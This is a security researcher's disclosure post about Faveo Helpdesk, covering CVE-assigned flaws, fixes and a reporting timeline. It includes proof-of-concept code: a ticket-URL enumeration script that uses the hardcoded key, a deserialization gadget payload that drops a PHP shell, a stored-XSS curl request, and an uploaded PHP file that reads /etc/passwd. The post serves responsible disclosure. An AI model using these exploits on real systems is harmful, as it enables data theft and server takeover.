Numerous vulnerabilities in Faveo Helpdesk

Faveo Helpdesk is an open source helpdesk and ticketing system. It uses the Laravel framework, and there are at least 170 active instances running and exposed to the internet.

It's built on Laravel 5.6 which was released in 2018 with 1 year of security support (which expired on 7/2/19).

Over the course of my investigation, I uncovered numerous vulnerabilities. I would suggest extreme caution when running Faveo exposed to the internet, as there are likely further undiscovered vulnerabilities.

Sensitive Data exposure via hard coded encryption secret

In Faveo's default configuration, non-authenticated members can create tickets. When they create a ticket, they are provided with a URL (via email) that they can use to view, reply and modify that specific ticket.

The URL is in the following format, and contains an encrypted copy of the tickets numerical ID.

http://faveo-helpdesk.test/check_ticket/eyJpdiI6InZJdXVP....(more chars)......YThhYjlhMiJ9

This would usually be fine, since normally Laravel is configured with a randomly generated secure encryption key during the installation. Unfortunately in the case of Faveo, the installer does not generate a new key, so Laravel falls back to the hardcoded key in the configuration file.

Accessing a ticket not owned by the current Faveo user

Since the encrypted value is simply the integer id of the ticket, it's possible to write a simple script to enumerate all the tickets in the system. For example, the below script run in a fresh download of the Faveo source code will generate valid ticket URLs for every ticket.

foreach (range(1, 1000) as $ticketNumber) {
    $encryptedValue = Crypt::encrypt($ticketNumber);
    echo 'https://faveo-instance.com/check_ticket/' . $encryptedValue . "\n";
}

Fortunately, patching this vulnerability is as easy as changing the application's secret to a new, random value. Be aware this will invalidate all previous URLs, though.

RCE via hard coded encryption secret and deserialization

After finding the bug above, I checked the code and noticed that user input is passed directly to the Crypt::decrypt() function. Inside the view ckeckticket.blade.php, the user input (the route param id) is passed directly to the decryption function.

$tickets = App\Model\helpdesk\Ticket\Tickets::where('id', '=', \Crypt::decrypt($id))->first();
$thread = App\Model\helpdesk\Ticket\Ticket_Thread::where('ticket_id', '=', \Crypt::decrypt($id))->first();

Looking at the function signature of decrypt(), if the second argument is not set to false, the decrypted contents is passed to the unserialize function.

public function decrypt($payload, $unserialize = true)

By passing a malicious serialized payload (a generic gadget chain for Guzzle) encrypted with the hardcoded secret we can force Faveo to decrypt and deserialize the payload. This causes the application write a malicious file into the /public directory which we can execute by visiting the malicious PHP file.

// Uses the hardcoded encryption key in every Faveo install
$payload = encrypt(
    'O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename...',
    false // Don't serialize the payload (as it's already serialized)
);

// Generate URL with payload embedded
echo sprintf('https://faveo.example.com/check_ticket/%s', $payload);
// URL where the shell will be placed
echo 'https://faveo.example.com/shell.php';

As with the previous vulnerability, patching this is also easy by rotating the application's secret. In addition, passing false as the second argument to decrypt function to disable deserialization prevents an attacker from exploiting the vulnerability even if the applications secret is compromised.

Insufficient access control on admin endpoints

In addition to the authorization bypass above, there are also multiple routes which are part of the administration area that have no access control applied. Any user, including a user who has just signed up via the public register form, is able to access and change settings in these pages.

The affected routes are:

  • /close-workflow - View and configure the ticket workflow settings
  • /security - Configure the application security settings, including authentication rate limiting.
  • /queue - Configure the application's queue settings. Notably, when the SQS queue is used this exposes the AWS access keys to any user.
  • /ticket/priority - Create an edit ticket priority levels
  • /storage - Configure the application's storage location for files

All of these endpoints should be accessible to administrator accounts only, and missing access control on these endpoints could be catastrophic.

Persistent XSS via Ticket Priority

While researching the severity of the exposed endpoints above, I noticed a stored XSS vulnerability in the ticket description field. When the value is rendered in the priority list, the value is not correctly escaped. This could be used to compromise admin authentication credentials and further compromise the system.

Stored XSS in Faveo Admin Panel

Example Request to persist a stored XSS below.

curl --location --request POST 'http://faveo-helpdesk.test/ticket/priority/edit1' \
--header 'Cookie: XSRF-TOKEN=eyJpdiI6IlU3VExTOHIwaDRvWWhnaVF2XC9kQ0pRPT0iLCJ2YWx1ZSI6Ikk3SmR2Y3FqQ0l5VjEzQWxIS0dGY2R0MkhXekQxZ2NvOEpkcjZmN2I1Y2YxRHZXa1l5elFaOTZXS0pBXC9CVnZXIiwibWFjIjoiZTM5OGI0NzU2NzZmNTIwYTZkMTY5ZThlYWNkZjVmYTg4OGY1OTEyMTliNGIyOGNmZTA2MDc5M2M5YmM2OTQ1YyJ9; laravel_session=eyJpdiI6IkoycW54dlJ3Zk1cLzcxUG1Sc0FCdlNBPT0iLCJ2YWx1ZSI6IlwvaG14UzBzbVl1OUdhdjg4dWVXNFBNUm5IeE5aZHhKRG9NUmhsMGI1UEFtTnpQQ1VnSWFBZTNWZDBpa1RaelYrIiwibWFjIjoiMjU3MGQ1OTA4NjkzZmE4MGY3NzZiMDA1Yzg0MDAxZTNlOWI3YWYzYWYxYTMyNzc4Mjg0MDVlOWMwMGZlOTg0NCJ9' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode '_token=MiK57ra9h6tyXSuINWKWT5ysg2rPHcvMbLDuhhZs' \
--data-urlencode 'priority_id=5' \
--data-urlencode 'priority=Test' \
--data-urlencode 'priority_desc=<script>alert('\''ticket+priority+xss'\'');</script>Desc' \
--data-urlencode 'priority_color=#b73c3c' \
--data-urlencode 'status=1' \
--data-urlencode 'ispublic=1' \
--data-urlencode 'admin_note=' \
--data-urlencode '='

This vulnerability is especially severe as any user can access this page due to the missing access control detailed in the section above.

RCE via insecure upload + storage reconfiguration

Since the storage configuration page is accessible to any user, it's possible to reconfigure the application to write to an arbitrary path. It's worth noting that Faveo appends /attachments to the end of your configured path as well.

Setting the upload path

To gain RCE, we can write a PHP into the /public directory. PHP files in this directory will be executed by the web server, as long as they contain valid PHP code and use the .php extension.

First, we set the storage root to /public (which is helpfully included in the dropdown for us to select). We then create a new ticket, selecting our PHP shell, which is successfully uploaded and placed in the /public/attachments directory.

Uploaded shell

Normally, clicking the attachment here would securely read the file using PHP and return it to the visitor using the /image/{$id} route. Since we changed the upload path, Faveo placed the attachment in /public/attachments/8791.php with the following contents.

<?php echo file_get_contents('/etc/passwd');

Since the file is inside the web root, we don't need to use the /image route, and can directly execute the file. When we visit the file, we see the content of /etc/passwd. This would allow the attacker full access to the Faveo instance, including extracting data from the database, or using other exploits to gain root privileges on the server.

Timeline

  • Jan 29th 2021: Report and POC sent to the Faveo maintainer (ladybirdweb).
  • Jan 29th 2021: Maintainer acknowledges the issues via Email.
  • Feb 12th 2021: Maintainer reports that fixes for the issues are in progress.
  • May 10th 2021: CVE-2021-26487, CVE-2021-26488, CVE-2021-26489, CVE-2021-26490, CVE-2021-3296 assigned to the vulnerabilities.
  • Jun 7th 2021: Requested an update on progress from the maintainer before the disclosure date of 30th Jun (No response).
  • Jun 29th 2021: Offered maintainer an extra week before disclosure to patch issues (No response)
  • Jul 15th 2021: Blog post published